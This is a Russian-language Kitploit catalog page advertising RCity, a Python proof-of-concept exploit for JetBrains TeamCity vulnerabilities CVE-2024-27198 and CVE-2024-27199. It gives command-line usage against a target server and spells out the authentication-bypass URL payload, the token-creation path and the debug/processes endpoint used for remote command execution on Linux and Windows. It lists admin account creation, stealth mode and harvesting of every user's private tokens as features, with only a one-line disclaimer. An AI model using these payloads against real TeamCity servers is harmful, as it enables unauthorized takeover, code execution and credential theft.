Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 и CVE-2024-27199 PoC - RCE, создание учетной записи администратора, перечисление пользователей, информация о сервере | Kitploit
Инструменты/GitHubGitHub/stuub/rcity-cve-2024-27198
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 и CVE-2024-27199 PoC - RCE, создание учетной записи администратора, перечисление пользователей, информация о сервере

Репозиторий
36352 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RCity - CVE-2024-27198 (RCE & Создание учетной записи администратора) & CVE-2024-27199 (Обход аутентификации)

Эксплуатация CVE-2024-27198 и CVE-2024-27199

RCity — это скрипт на Python, который взаимодействует с уязвимым сервером TeamCity. CVE позволяет несанкционированное создание учетной записи администратора, обходя ошибки 403 на домене. А также позволяет достичь RCE через маршрут Debug/Processes.

Использование

Чтобы использовать скрипт, необходимо указать URL целевого сервера TeamCity в качестве аргумента командной строки с помощью параметра -t или --target:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

Вы можете увеличить подробность вывода с помощью опции -v или --verbose:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

Вы можете отправлять одноразовые команды напрямую с помощью опции -c или --command, если вам нужен интерактивный shell, НЕ используйте эту опцию. Она не дружественна к reverse shell, так как соединение закрывается после отправки команды:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

Вы можете гарантировать, что никакие POST-запросы не будут отправлены на сервер TeamCity, используя опцию -s или --stealth:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

Отключает функцию RCE - всё остальное остается без изменений

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

Предотвращает сбор списка пользователей, что может быть затратным по времени на больших списках пользователей. Перейдите сразу к RCE с помощью этой опции!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

Возможности

  • Создание учетной записи администратора
  • Удаленное выполнение кода
  • Генерация токенов авторизации
  • Перечисление пользователей
  • Сбор всех приватных токенов авторизации пользователей
  • Получение информации о сервере

Пример

image

RCE

image

Генерация токенов

image

Документация

Здесь я опишу функции, используемые в этом проекте, чтобы дать вам лучшее понимание этого эксплойта и связанных с ним уязвимостей.

Предыстория

Природа уязвимости связывает обе CVE-2024-27198 и 99 из-за того, что проблема возникает из-за одного и того же обхода аутентификации для маршрутов REST API на серверах JetBrains TeamCity. Однако воздействие данной уязвимости различается, и становится интересным... CVE-2024-27198 является реальным тяжеловесом на бумаге из-за ее заявленного воздействия RCE, использует конечную точку /app/rest/debug/processes, ТОЛЬКО с разрешениями для выполнения необходимых запросов к этой конечной точке через токен аутентификации. Этот вызов к этой конечной точке различается между хостами Unix и Windows, однако манипулируется аналогично, единственное отличие — это нативный shell, который вызывается для запроса.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

Обход аутентификации

Как упоминалось ранее, это невозможно без аутентификации, должно быть безопасно... верно? Вот где вступает в дело обход аутентификации.

Обход политики сборки TeamCity открывает возможность делать запросы к серверу и помещать туда наш токен аутентификации, даже технически не имея своей учетной записи.

Сам обход заключается в создании альтернативного пути к маршрутам REST, который, не вдаваясь в подробности, требует контроля содержимого класса, задача которого обрабатывать запросы, особенно те, которые не являются 302 (перенаправлениями), что затем позволяет нам управлять им, добавляя 3 необходимые части в наш URL.

  1. Неаутентифицированная конечная точка, которая не вызовет 302, в нашем случае /hax
  2. Параметр строки запроса URL с именем jsp для запроса маршрутов API, например, путь users - ?jsp=/app/rest/users
  3. Произвольный путь URI, заканчивающийся на .jsp. Это можно сделать, добавив сегмент параметра пути HTTP ;.jsp

Таким образом, итоговая полезная нагрузка для выполнения неавторизованных запросов к конечной точке пользователей: /hax?jsp=/app/rest/users;.jsp

Теперь мы можем делать запросы к конечной точке пользователей и добавлять своих пользователей, даже администраторов!

Однако прежде чем перейти к RCE, нам нужен токен аутентификации, как носитель для наших запросов RCE к их REST API. Теперь, когда у нас есть обход, нет проблем — мы его сделаем!

Генерация токена REST API --> RCE

Конечная точка токена следовала тому же дереву путей, что и предыдущий пример, её можно найти по адресу /app/rest/users/id:{user_id}/tokens/{token_name}. Итак, давайте создадим ещё одну полезную нагрузку, чтобы обойти аутентификацию и создать токен!

(Мы сами задаём имя токена, для этого скрипта это случайная генерация буквенно-цифровых ASCII-символов).

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

После выполнения POST-запроса для добавления токена нашему новому пользователю, мы теперь можем начать делать запросы к маршруту /app/rest/debug/processes!

Ничего особенного в создании наших полезных нагрузок RCE, просто закодируйте полезные нагрузки в HTML в аргументе params!

Удачного взлома!

References

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

Отказ от ответственности

Этот скрипт предназначен только для образовательных целей. Используйте его ответственно и только в системах, к которым у вас есть разрешение на доступ.

Скачать инструмент